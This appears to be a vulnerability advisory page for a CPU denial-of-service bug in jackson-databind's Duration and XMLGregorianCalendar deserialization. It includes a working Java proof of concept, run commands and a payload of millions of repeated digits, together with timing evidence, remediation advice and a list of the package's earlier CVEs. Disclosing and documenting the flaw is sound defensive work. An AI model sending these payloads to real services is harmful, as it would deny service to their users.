Hoch

jackson-databind: Duration XMLGregorianCalendar Unbounded Number Parse DoS

  • Veröffentlicht: 28.09.2026
  • Aktualisiert: 11.10.2026 13:20

Summary

jackson-databind 3.2.1 deserializes a JSON string bound to a javax.xml.datatype.Duration or javax.xml.datatype.XMLGregorianCalendar field by passing the raw string verbatim to DatatypeFactory.newDuration(value) / newXMLGregorianCalendar(value). Per the XML-Schema lexical grammar these factory methods accept numeric components of arbitrary length, which the JDK materializes into java.math.BigInteger / BigDecimal using the native BigInteger(String) constructor (an O(n²) parser). Because the digits reside inside a JSON string token, jackson-core's StreamReadConstraints.maxNumberLength guard (which bounds only JSON number tokens) never fires, so there is no length limit anywhere on this path. An unauthenticated attacker can submit a single small request (e.g. ~1–5 MB) that forces tens of seconds to minutes of single-thread CPU consumption, yielding a denial of service under the default JsonMapper.builder().build() mapper with no polymorphic typing or special configuration.

Details

StreamReadConstraints.maxNumberLength (jackson-core, default 1000) bounds the text length of JSON number tokens only; it does not apply to digits inside a JSON string token (maxStringLength default is 100,000,000). jackson's own value binders compensate for this gap elsewhere — NumberDeserializers explicitly call streamReadConstraints().validateIntegerLength(text.length()) / validateFPLength(text.length()) before parsing a stringified number (NumberDeserializers.java:1063, :1139). The XML-datatype deserializer omits this identical pre-check.

CoreXMLDeserializers registers Std deserializers by default for any field typed javax.xml.datatype.Duration or XMLGregorianCalendar (findBeanDeserializer), with no opt-in required. Std._deserialize hands the attacker string straight to the datatype factory:

java
protected Object _deserialize(String value, DeserializationContext ctxt) {
    switch (_kind) {
    case TYPE_DURATION:
        return _dataTypeFactory.newDuration(value);                 // attacker lexical string
    case TYPE_G_CALENDAR:
        Date d;
        try { d = _parseDate(value, ctxt); }
        catch (DatabindException e) {
            return _dataTypeFactory.newXMLGregorianCalendar(value); // attacker lexical string
        }
        return _gregorianFromDate(ctxt, d);
    }
    throw new IllegalStateException();
}

Per the XSD lexical rules, newDuration parses each numeric component (years, months, …) into a BigInteger, and newXMLGregorianCalendar parses fractional seconds into a BigDecimal. The JDK uses the native BigInteger(String) / BigDecimal(String) constructors, which are O(n²) in the digit count. A short JSON string such as "P" + "9"×N + "Y" therefore forces the allocation and O(N²) parse of an N-digit BigInteger, entirely downstream of every jackson-core constraint.

Vulnerable Code Location

  • src/main/java/tools/jackson/databind/ext/CoreXMLDeserializers.java:137 — newDuration(value) (TYPE_DURATION)
  • src/main/java/tools/jackson/databind/ext/CoreXMLDeserializers.java:147 — newXMLGregorianCalendar(value) (TYPE_G_CALENDAR fallback)
  • Registration (default, no opt-in): src/main/java/tools/jackson/databind/ext/CoreXMLDeserializers.java:42-46 (findBeanDeserializer returns Std for XMLGregorianCalendar / Duration)
  • Contrast — correct length-guard pattern already used elsewhere in the library: src/main/java/tools/jackson/databind/deser/jdk/NumberDeserializers.java:1063,1139

Proof of Concept

PoC source (Vuln07_DurationDoS.java). It uses only the public ObjectMapper.readValue API and a default mapper; the only "special" element is a normal DTO exposing a javax.xml.datatype.Duration field.

java
package com.poc;

import tools.jackson.databind.ObjectMapper;
import tools.jackson.databind.json.JsonMapper;
import javax.xml.datatype.Duration;

/**
 * Vuln 7: Unbounded numeric allocation / CPU DoS via Duration lexical deserialization.
 * A short JSON string forces parsing of a huge BigInteger inside DatatypeFactory.newDuration.
 */
public class Vuln07_DurationDoS {
    public static class Cfg { public Duration ttl; }

    public static void main(String[] args) throws Exception {
        ObjectMapper mapper = JsonMapper.builder().build();
        int digits = Integer.getInteger("digits", 5_000_000);

        // Baseline small parse.
        long t0 = System.nanoTime();
        mapper.readValue("{\"ttl\":\"P1Y\"}", Cfg.class);
        long tBase = System.nanoTime() - t0;
        System.out.println("Baseline (P1Y) parse: " + (tBase/1_000_000) + " ms");

        String big = "P" + "9".repeat(digits) + "Y";
        String json = "{\"ttl\":\"" + big + "\"}";
        System.out.println("Payload JSON size ~ " + json.length() + " bytes (year component = " + digits + " digits)");
        long t1 = System.nanoTime();
        try {
            Cfg c = mapper.readValue(json, Cfg.class);
            long dt = System.nanoTime() - t1;
            System.out.println("Parsed giant Duration in " + (dt/1_000_000) + " ms; years field type materialized as BigInteger");
            System.out.println("RESULT: VULNERABLE - " + digits + "-digit BigInteger parsed from a "
                    + json.length() + "-byte payload (amplified CPU/allocation, StreamReadConstraints bypassed)");
        } catch (Throwable t) {
            long dt = System.nanoTime() - t1;
            System.out.println("After " + (dt/1_000_000) + " ms threw " + t.getClass().getName() + ": " + t.getMessage());
        }
    }
}

Minimal HTTP-shaped payload (what an attacker sends):

js
{ "ttl": "P99999999999999999999…9Y" }   // 'P' + N nines + 'Y', N up to ~100,000,000

An XMLGregorianCalendar field is equally affected via the fractional-seconds path, e.g. { "at": "0000-01-01T00:00:00." + "9"×N }.

Execution Steps

The PoC needs only the three Jackson 3.2.1 jars on the classpath; it can be built and run with plain javac/java (no Maven required). The jars are the standard published artifacts (here resolved from the local Maven cache ~/.m2, but any copy works).

bash
# 0. Locate the three dependency jars (published Maven artifacts).
M2="$HOME/.m2/repository"
DB="$M2/tools/jackson/core/jackson-databind/3.2.1/jackson-databind-3.2.1.jar"
CORE="$M2/tools/jackson/core/jackson-core/3.2.1/jackson-core-3.2.1.jar"
ANN="$M2/com/fasterxml/jackson/core/jackson-annotations/2.22/jackson-annotations-2.22.jar"
CP="$DB:$CORE:$ANN"
#   If not already cached, fetch them once, e.g.:
#   mvn -q dependency:get -Dartifact=tools.jackson.core:jackson-databind:3.2.1
#   (jackson-core 3.2.1 and jackson-annotations 2.22 come as transitive deps)

# 1. Compile with javac (single source file).
mkdir -p out
javac -cp "$CP" -d out src/main/java/com/poc/Vuln07_DurationDoS.java

# 2. Quick confirmation (~11 s): 1,000,000-digit year component.
java -Xmx2g -Ddigits=1000000 -cp "out:$CP" com.poc.Vuln07_DurationDoS

# 3. Full-severity demonstration (~293 s): 5,000,000-digit year component.
java -Xmx2g -Ddigits=5000000 -cp "out:$CP" com.poc.Vuln07_DurationDoS

The digits system property controls the number of 9 characters in the year component; JSON payload size ≈ digits + 12 bytes. Increase toward the default 100,000,000 maxStringLength to scale cost further.

Environment used for the evidence below: jackson-databind 3.2.1, jackson-core 3.2.1, jackson-annotations 2.22; OpenJDK 25 on macOS (darwin), default JsonMapper.builder().build().

Reproduction Evidence

Deterministic values (payload byte count, resulting bit-length) are exact across runs; timings vary with load. Two independent runs at different sizes:

digits = 5,000,000 (~5 MB payload):

Baseline (P1Y) parse: 27 ms
Payload JSON size ~ 5000012 bytes (year component = 5000000 digits)
Parsed giant Duration in 293175 ms; years field type materialized as BigInteger
RESULT: VULNERABLE - 5000000-digit BigInteger parsed from a 5000012-byte payload (amplified CPU/allocation, StreamReadConstraints bypassed)

digits = 1,000,000 (~1 MB payload, for fast repeatability):

Baseline (P1Y) parse: 53 ms
Payload JSON size ~ 1000012 bytes (year component = 1000000 digits)
Parsed giant Duration in 11155 ms; years field type materialized as BigInteger
RESULT: VULNERABLE - 1000000-digit BigInteger parsed from a 1000012-byte payload (amplified CPU/allocation, StreamReadConstraints bypassed)

Interpretation: a normal "P1Y" value parses in tens of milliseconds; a ~1 MB attacker payload consumes ~11 s and a ~5 MB payload ~293 s of single-thread CPU — a 5–6 order-of-magnitude amplification. The super-linear growth (≈26× cost for 5× payload) is consistent with the JDK's O(n²) BigInteger(String) constructor. The cost occurs inside DatatypeFactory.newDuration, downstream of jackson-core's StreamReadConstraints (independently confirmed: the same digit sequence supplied as a bare JSON number token is rejected with StreamConstraintsException, whereas inside a string token it is not bounded).

Impact

An unauthenticated attacker can stall a request-processing thread for tens of seconds to minutes and allocate a large BigInteger/BigDecimal from a single small request. Because the cost is CPU-bound and super-linear, a handful of concurrent requests can saturate the server's worker threads and CPU, denying service to all users. The exposure requires only that a bound type expose a javax.xml.datatype.Duration or XMLGregorianCalendar field common in applications that ingest XML-schema derived data, SOAP/JAXB-adjacent models, or configuration carrying XSD durations — and fires under the default mapper with no polymorphic typing.

Recommended Fix

Apply the same validate-length-then-parse idiom the core NumberDeserializers already use:

  1. In CoreXMLDeserializers.Std._deserialize, enforce a maximum raw-string length before calling newDuration(value) / newXMLGregorianCalendar(value) — e.g. reject inputs longer than ctxt.streamReadConstraints().getMaxNumberLength() (or a dedicated bound), routing over-length input through ctxt.handleWeirdStringValue(...).
  2. Alternatively, validate the lexical form against a bounded regex and cap the digit count of each numeric component before delegating to DatatypeFactory.
  3. Document that Duration / XMLGregorianCalendar fields bound from untrusted input must be length-limited at the transport layer.

Betroffene Software

Klicken Sie auf eine Technologie, um alle zugehörigen Schwachstellen anzuzeigen.

PlattformPaketAnfällige VersionenBehoben in
Java / Kotlin (Maven) com.fasterxml.jackson.core:jackson-databind >= 2.14.0, < 2.18.10, >= 2.19.0, < 2.21.6, >= 2.22.0, < 2.22.2 2.18.10, 2.21.6, 2.22.2
Java / Kotlin (Maven) tools.jackson.core:jackson-databind >= 3.2.0, < 3.2.2, >= 3.0.0, < 3.1.6 3.2.2, 3.1.6

Verweise

CVSS-Wert 7.5/10
CVSS-Vektor
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Schwäche (CWE)
CWE-400
Plattform
Java / Kotlin (Maven)
Paket
com.fasterxml.jackson.core:jackson-databind, tools.jackson.core:jackson-databind
Veröffentlicht
28.09.2026
Aktualisiert
11.10.2026 13:20

Quellen und Lizenzen

OSV / GitHub Advisory Database - GHSA-q4xh-88c3-wmh7 - CC BY 4.0

Schwachstellenhistorie: com.fasterxml.jackson.core:jackson-databind

Alle veröffentlichten Schwachstellen dieses Pakets (Java / Kotlin (Maven)), neueste zuerst. Zeigt, ob es ein einmaliger Ausrutscher ist oder ein Paket, das man im Auge behalten muss.

Alle (86) im Archiv
Einträge insgesamt
86
Erste → letzte
10.2018 09.2026
Ohne Fix
0
In Angriffen ausgenutzt
0

Verteilung nach Schweregrad

  • Kritisch 24
  • Hoch 48
  • Mittel 14

Veröffentlichungen pro Jahr

  1. 2018: 4
  2. 2019: 19
  3. 2020: 23
  4. 2021: 18
  5. 2022: 4
  6. 2023: 1
  7. 2024: 0
  8. 2025: 0
  9. 2026: 17
Schweregrad:
  1. Hoch · 7.5 CVE-2026-91777 >= 2.19.0, < 2.21.7, >= 2.5.0, < 2.18.11, >= 2.22.0, < 2.22.3 2.21.7, 2.18.11, 2.22.3
  2. Hoch · 7.5 CVE-2026-91776 >= 2.0.0, < 2.18.11, >= 2.19.0, < 2.21.7, >= 2.22.0, < 2.22.3 2.18.11, 2.21.7, 2.22.3
  3. jackson-databind: Duration XMLGregorianCalendar Unbounded Number Parse DoS dieser Eintrag
    Hoch · 7.5 CVE-2026-68497 >= 2.14.0, < 2.18.10, >= 2.19.0, < 2.21.6, >= 2.22.0, < 2.22.2 2.18.10, 2.21.6, 2.22.2
  4. Hoch · 8.1 CVE-2026-54513 >= 2.10.0, < 2.18.8, >= 2.19.0, < 2.21.4, >= 3.0.0, < 3.1.4 2.18.8, 2.21.4, 3.1.4
  5. Hoch · 8.1 CVE-2026-54512 >= 2.10.0, < 2.18.8, >= 3.0.0, < 3.1.4, >= 2.19.0, < 2.21.4 2.18.8, 3.1.4, 2.21.4
  6. Hoch · 7.5 CVE-2021-46877 >= 2.10.0, < 2.12.6, >= 2.13.0, < 2.13.1 2.12.6, 2.13.1
  7. Hoch · 7.5 CVE-2022-42003 >= 2.4.0-rc1, < 2.12.7.1, >= 2.13.0, < 2.13.4.2 2.12.7.1, 2.13.4.2
  8. Hoch · 7.5 CVE-2022-42004 >= 2.4.0-rc1, < 2.12.7.1, >= 2.13.0, < 2.13.4 2.12.7.1, 2.13.4
  9. Hoch · 8.1 CVE-2020-10650 < 2.9.10.4 2.9.10.4
  10. Hoch · 7.5 CVE-2020-36518 >= 2.13.0, < 2.13.2.1, < 2.12.6.1 2.13.2.1, 2.12.6.1
  11. Hoch · 8.1 CVE-2020-36189 >= 2.7.0, < 2.9.10.8, < 2.6.7.5 2.9.10.8, 2.6.7.5
  12. Hoch · 8.1 CVE-2020-36187 >= 2.0.0, < 2.9.10.8 2.9.10.8
  13. Hoch · 8.1 CVE-2020-36188 >= 2.7.0, < 2.9.10.8, >= 2.0.0, < 2.6.7.5 2.9.10.8, 2.6.7.5
  14. Hoch · 8.1 CVE-2020-36183 >= 2.7.00, < 2.9.10.8, >= 2.0.0, < 2.6.7.5 2.9.10.8, 2.6.7.5
  15. Hoch · 8.1 CVE-2020-36184 >= 2.0.0, < 2.9.10.8 2.9.10.8
  16. Hoch · 8.1 CVE-2020-36180 >= 2.7.0, < 2.9.10.8, >= 2.0.0, < 2.6.7.5 2.9.10.8, 2.6.7.5
  17. Hoch · 8.1 CVE-2020-36181 >= 2.7.0, < 2.9.10.8, >= 2.0.0, < 2.6.7.5 2.9.10.8, 2.6.7.5
  18. Hoch · 8.1 CVE-2020-36185 >= 2.0.0, < 2.9.10.8 2.9.10.8
  19. Hoch · 8.1 CVE-2020-36179 >= 2.7.0, < 2.9.10.8, >= 2.0.0, < 2.6.7.5 2.9.10.8, 2.6.7.5
  20. Hoch · 8.1 CVE-2020-36182 >= 2.7.0, < 2.9.10.8, >= 2.0.0, < 2.6.7.5 2.9.10.8, 2.6.7.5
  21. Hoch · 8.1 CVE-2020-24750 >= 2.0, < 2.6.7.5, >= 2.7.0, < 2.9.10.6 2.6.7.5, 2.9.10.6
  22. Hoch · 8.1 CVE-2020-35728 >= 2.0.0, < 2.9.10.8 2.9.10.8
  23. Hoch · 8.1 CVE-2020-35491 >= 2.0.0, < 2.9.10.8 2.9.10.8
  24. Hoch · 8.1 CVE-2020-35490 >= 2.0.0, < 2.9.10.8 2.9.10.8
  25. Hoch · 8.1 CVE-2020-24616 >= 2.0.0, < 2.9.10.6 2.9.10.6
  26. Hoch · 8.1 CVE-2020-36186 >= 2.0.0, < 2.9.10.8 2.9.10.8
  27. Hoch · 7.5 CVE-2020-25649 >= 2.6.0, < 2.6.7.4, >= 2.7.0.0, < 2.9.10.7, >= 2.10.0.0, < 2.10.5.1 2.6.7.4, 2.9.10.7, 2.10.5.1
  28. Hoch · 8.1 CVE-2021-20190 >= 2.7.0, < 2.9.10.7, < 2.6.7.5 2.9.10.7, 2.6.7.5
  29. Hoch · 8.1 CVE-2018-5968 >= 2.8.0, < 2.8.11.1, >= 2.9.0, < 2.9.4, < 2.7.9.5 2.8.11.1, 2.9.4, 2.7.9.5
  30. Hoch · 8.1 CVE-2020-14061 >= 2.9.0, < 2.9.10.5 2.9.10.5
  31. Hoch · 8.1 CVE-2020-14062 >= 2.9.0, < 2.9.10.5 2.9.10.5
  32. Hoch · 8.1 CVE-2020-14060 >= 2.9.0, < 2.9.10.5 2.9.10.5
  33. Hoch · 8.1 CVE-2020-14195 >= 2.9.0, < 2.9.10.5 2.9.10.5
  34. Hoch · 7.5 CVE-2018-12023 >= 2.7.0, < 2.7.9.4, >= 2.8.0, < 2.8.11.2, >= 2.9.0, < 2.9.6 2.7.9.4, 2.8.11.2, 2.9.6
  35. Kritisch · 9.8 CVE-2019-17267 >= 2.9.0, < 2.9.10, < 2.8.11.5 2.9.10, 2.8.11.5
  36. Hoch · 8.8 CVE-2020-11112 >= 2.9.0, < 2.9.10.4 2.9.10.4
  37. Kritisch · 9.8 CVE-2020-9547 >= 2.9.0, < 2.9.10.4, >= 2.8.0, < 2.8.11.6, >= 2.0.0, < 2.7.9.7 2.9.10.4, 2.8.11.6, 2.7.9.7
  38. Hoch CVE-2019-14893 >= 2.9.0, < 2.9.10 2.9.10
  39. Hoch · 8.8 CVE-2020-10673 >= 2.7.0, < 2.9.10.4, >= 2.0.0, < 2.6.7.4 2.9.10.4, 2.6.7.4
  40. Kritisch · 9.8 CVE-2020-9548 >= 2.9.0, < 2.9.10.4, >= 2.8.0, < 2.8.11.6, >= 2.0.0, < 2.7.9.7 2.9.10.4, 2.8.11.6, 2.7.9.7
  41. Hoch · 7.5 CVE-2019-14892 < 2.6.7.3, >= 2.7.0, < 2.8.11.5, >= 2.9.0, < 2.9.10 2.6.7.3, 2.8.11.5, 2.9.10
  42. Hoch · 8.8 CVE-2020-10968 >= 2.9.0, < 2.9.10.4 2.9.10.4
  43. Hoch · 8.8 CVE-2020-11111 >= 2.9.0, < 2.9.10.4 2.9.10.4
  44. Hoch · 8.8 CVE-2020-11113 >= 2.9.0, < 2.9.10.4 2.9.10.4
  45. Hoch · 8.1 CVE-2020-11619 >= 2.9.0, < 2.9.10.4 2.9.10.4
  46. Hoch · 8.8 CVE-2020-10969 >= 2.9.0, < 2.9.10.4 2.9.10.4
  47. Kritisch · 9.8 CVE-2020-9546 >= 2.9.0, < 2.9.10.4 2.9.10.4
  48. Hoch · 8.1 CVE-2020-11620 >= 2.9.0, < 2.9.10.4 2.9.10.4
  49. Hoch · 8.8 CVE-2020-10672 >= 2.9.0, < 2.9.10.4 2.9.10.4
  50. Kritisch · 9.8 CVE-2020-8840 >= 2.0.0, < 2.6.7.4, >= 2.7.0, < 2.7.9.7, >= 2.8.0, < 2.8.11.5, >= 2.9.0, < 2.9.10.3 2.6.7.4, 2.7.9.7, 2.8.11.5, 2.9.10.3
  51. Kritisch · 9.8 CVE-2019-20330 >= 2.0.0, < 2.6.7.4, >= 2.7.0, < 2.7.9.7, >= 2.8.0, < 2.8.11.5, >= 2.9.0, < 2.9.10.2 2.6.7.4, 2.7.9.7, 2.8.11.5, 2.9.10.2
  52. Kritisch · 9.8 CVE-2019-17531 >= 2.9.0, < 2.9.10.1, >= 2.7.0, < 2.8.11.5, < 2.6.7.3 2.9.10.1, 2.8.11.5, 2.6.7.3
  53. Kritisch · 9.8 CVE-2019-16943 >= 2.9.0, < 2.9.10.1, >= 2.7.0, < 2.8.11.5, < 2.6.7.3 2.9.10.1, 2.8.11.5, 2.6.7.3
  54. Kritisch · 9.8 CVE-2019-16942 >= 2.9.0, < 2.9.10.1, >= 2.7.0, < 2.8.11.5, >= 2.0.0, < 2.6.7.3 2.9.10.1, 2.8.11.5, 2.6.7.3
  55. Kritisch · 9.8 CVE-2019-16335 >= 2.9.0, < 2.9.10, >= 2.7.0, < 2.8.11.5, < 2.6.7.3 2.9.10, 2.8.11.5, 2.6.7.3
  56. Kritisch · 9.8 CVE-2019-14540 >= 2.9.0, < 2.9.10, >= 2.7.0, < 2.8.11.5, < 2.6.7.3 2.9.10, 2.8.11.5, 2.6.7.3
  57. Hoch · 7.5 CVE-2019-14439 >= 2.9.0, < 2.9.9.2, >= 2.8.0, < 2.8.11.4, >= 2.7.0, < 2.7.9.6, < 2.6.7.3 2.9.9.2, 2.8.11.4, 2.7.9.6, 2.6.7.3
  58. Kritisch · 9.8 CVE-2019-14379 >= 2.9.0, < 2.9.9.2, >= 2.8.0, < 2.8.11.4, < 2.7.9.6 2.9.9.2, 2.8.11.4, 2.7.9.6
  59. Kritisch · 9.8 CVE-2018-11307 >= 2.0.0, < 2.7.9.4, >= 2.8.0, < 2.8.11.2, >= 2.9.0, < 2.9.6 2.7.9.4, 2.8.11.2, 2.9.6
  60. Hoch · 7.5 CVE-2019-12086 >= 2.9.0, < 2.9.9, >= 2.8.0, < 2.8.11.4, >= 2.7.0, < 2.7.9.6, >= 2.0.0, < 2.6.7.3 2.9.9, 2.8.11.4, 2.7.9.6, 2.6.7.3
Mehr anzeigen (12) 60 von 72 angezeigt

Erkennen Sie Schwachstellen in Ihrer Anwendung

Mit der DockRay-Integration und aktivierter Softwareinventarisierung prüft DockRay gemeldete Komponentenversionen auf bekannte Schwachstellen und benachrichtigt Sie über bestätigte Treffer. Die Abdeckung hängt von der unterstützten Technologie und den verfügbaren Meldungen ab.

Anwendung verbinden
DockRay Newsletter

Anwendungssicherheit in Ihrem Postfach

Wichtige Schwachstellen, konkrete Empfehlungen und praktische Tipps für Ihre Anwendungen. Wählen Sie Ihre Technologien und verfolgen Sie, was für Ihr Projekt relevant ist.

  • Eine tägliche Zusammenfassung neuer Schwachstellen, auch kritischer.
  • Benachrichtigungen über wichtige Updates.
  • Praktische Tipps zur Sicherheit und Überwachung von Anwendungen.

Leer lassen, um Meldungen zu allen Technologien zu erhalten.

Kostenlos anmelden. In jeder E-Mail mit einem Klick abmelden.